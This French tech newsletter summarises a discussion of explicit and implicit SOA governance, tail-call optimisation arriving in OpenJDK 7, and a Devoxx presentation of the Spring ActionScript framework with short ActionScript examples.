Andrej Koelewijn ouvre cette semaine une discussion intéressante sur la gouvernance dans une SOA. Il commence par expliquer le rôle incontournable qu’à la gouvernance dans le cadre de l’évolution correcte des services. Puis il explique qu’il y a, selon lui, deux manières d’aborder cette gouvernance, toutes deux étant idéalement appliquées conjointement :

• La gouvernance explicite est celle dont il est en général question, il s’agit d’une personne ou d’un groupe de personnes en charge de s’assurer de la cohérence des services exposés dans la SOA au fil du temps. Ils ont alors le pouvoir de contraindre les équipes projets à se conformer aux règles définies en cas d’écart.
• La gouvernance implicite ne passe pas par le contrôle effectué par une équipe ou une personne tierce mais par des choix architecturaux contraignant ou tendant à diriger naturellement vers les choix idéaux.

A titre d’exemple il cite ainsi l’affectation d’une base de données propre à chaque service de bas niveau, afin d’assurer un partitionnement fonctionnel strict ; des services de plus haut niveau peuvent alors couvrir plusieurs domaines fonctionnels en procédant par agrégation. Toujours dans le but d’assurer ce découpage propre, il suggère la mise en place d’équipes en charge de fonctionnalités, qui seront amenées à développer des services de haut niveau, collaborant avec des équipes en charge de services de bas niveau, qui, elles, font évoluer les services dont elles ont la charge aux fur et à mesure que les besoins sont exprimés.

Ces suggestions, imprégnées par l’expérience pratique, sont dans l’alignement des présentations actuelles sur SOA telles que celle de Nicolai Josuttis à Devoxx 09, dans lesquelles SOA y apparaît comme ayant dépassé le hype pour atteindre la maturité.

Le coin de la technique

Les optimisations se succèdent sur OpenJDK 7

Rémi Forax discute sur son blog de l’arrivée d’une nouvelle optimisation majeure au sein d’OpenJDK 7 : l’optimisation des l’ajout récent de l’escape analysis et de la compression de pointeurs.

Un tail call est une invocation positionnée en fin de bytecode d’une méthode, juste avant un return. En pratique, pour le développeur Java, il s’agit d’une ligne du type return m(data), où la valeur retournée est fonction d’une méthode tierce.

Lors de l’invocation d’une méthode, outre le saut de code nécessaire, la JVM doit également recréer un stackframe pour la nouvelle méthode en y copiant ses arguments. L’optimisation des tail calls consiste alors à supprimer cette opération sur la stack en réduisant l’invocation à un simple saut dans le code. Dans la mesure où cette simplification nécessite tout de même certaines précautions, une instruction de bytecode doit marquer l’invocation optimisée en tant que tail call auprès de la JVM.

Dans certaines applications présentant un grand nombre d’invocations de ce type, un gain de performance pourra apparaître lorsque cette optimisation sera activée. Celle-ci s’inscrit ainsi dans la continuité d’une présentation que Brian Goetz avait donnée lors de Devoxx 09 où il expliquait qu’un très grand nombre d’optimisations élaborées étaient effectuées par la JVM afin de réduire, ou de supprimer, le surcoût lié aux constructions courantes des langages objets.

Spring ActionScript est un framework Spring permettant de faire de l’inversion de contrôle en ActionScript. Ce framework connu initialement sous le nom de Prana Framework est actuellement en incubation chez Spring. Devoxx fut l’occasion pour Christophe Herreman, initiateur du projet, de nous le présenter.

Définition du contexte d’application

Comme en Java, il faut définir le contexte d’application. A la différence de Java, deux solutions sont possibles : le XML et le MXML.
Ces deux façons de configurer ont leurs avantages et leurs inconvénients :

• XML : il n’est pas utile de recompiler à chaque modification de ce fichier mais aucune erreur ne sera détectée si la configuration est mauvaise.
• MXML : la recompilation est nécessaire en cas de modification du fichier mais le compilateur pourra avertir des erreurs dans la configuration.

Il est également possible de configurer le contexte d’application pour appeler directement un objet à distance.

L’architecture MVC

Cette architecture sera disponible dans la version 0.9 (Spring ActionScript est actuellement en version 0.8).
Le but de Spring ActionScript est de remplacer ou d’intégrer les différents frameworks MVC existants (Cairngorm, PureMVC, Mate, …). Dans la nouvelle version, pour créer son propre MVC avec Spring Actionscript, il faut :

• L’API Operation
• Event Bus
• Autowiring

L’API Operation

Face aux comportements asynchrones du Flash Payer et au nombre d’API disponibles pour ces appels , Spring ActionScript fournit une interface IOperation. Il a fallu rendre ces appels uniformes pour les injections de dépendances. Dans cette API, vous pourrez retrouver, par exemple, la classe ProgressOperation permettant de suivre la progression de l’appel asynchrone.

EventBus

Il permet de centraliser les évènements et de les dispatcher. Il correspond au contrôleur du modèle MVC. EventBus fonctionne avec les évènements standards Flash.
Voici un exemple de dispatching d’évènement :

EventBus.dispatchEvent(new Event("monEvenement"));

Autowiring

Avec l’autowiring (remplissage automatique en français) il est possible de configurer les dépendances grâce au tag Metadata. Spring va ensuite explorer les tags et réaliser l’injection de dépendances. L’autowiring va donc, pour résumer, gérer les dépendances. Il peut également fonctionner avec d’autres frameworks comme Cairngorm par exemple.
Un exemple d’autowiring :

[Autowired(name="myObject", property="prop")]

Conclusion

Ce nouveau framework tente de faire sa place parmi les frameworks ActionScript déjà existants. En incubation pour le moment, la nouvelle version propose des fonctionnalités qui permettent de faciliter la structuration de la couche présentation. Face à la lourdeur du code à fournir pour mettre en place Cairngorm, il pourrait avoir des chances de séduire la communauté.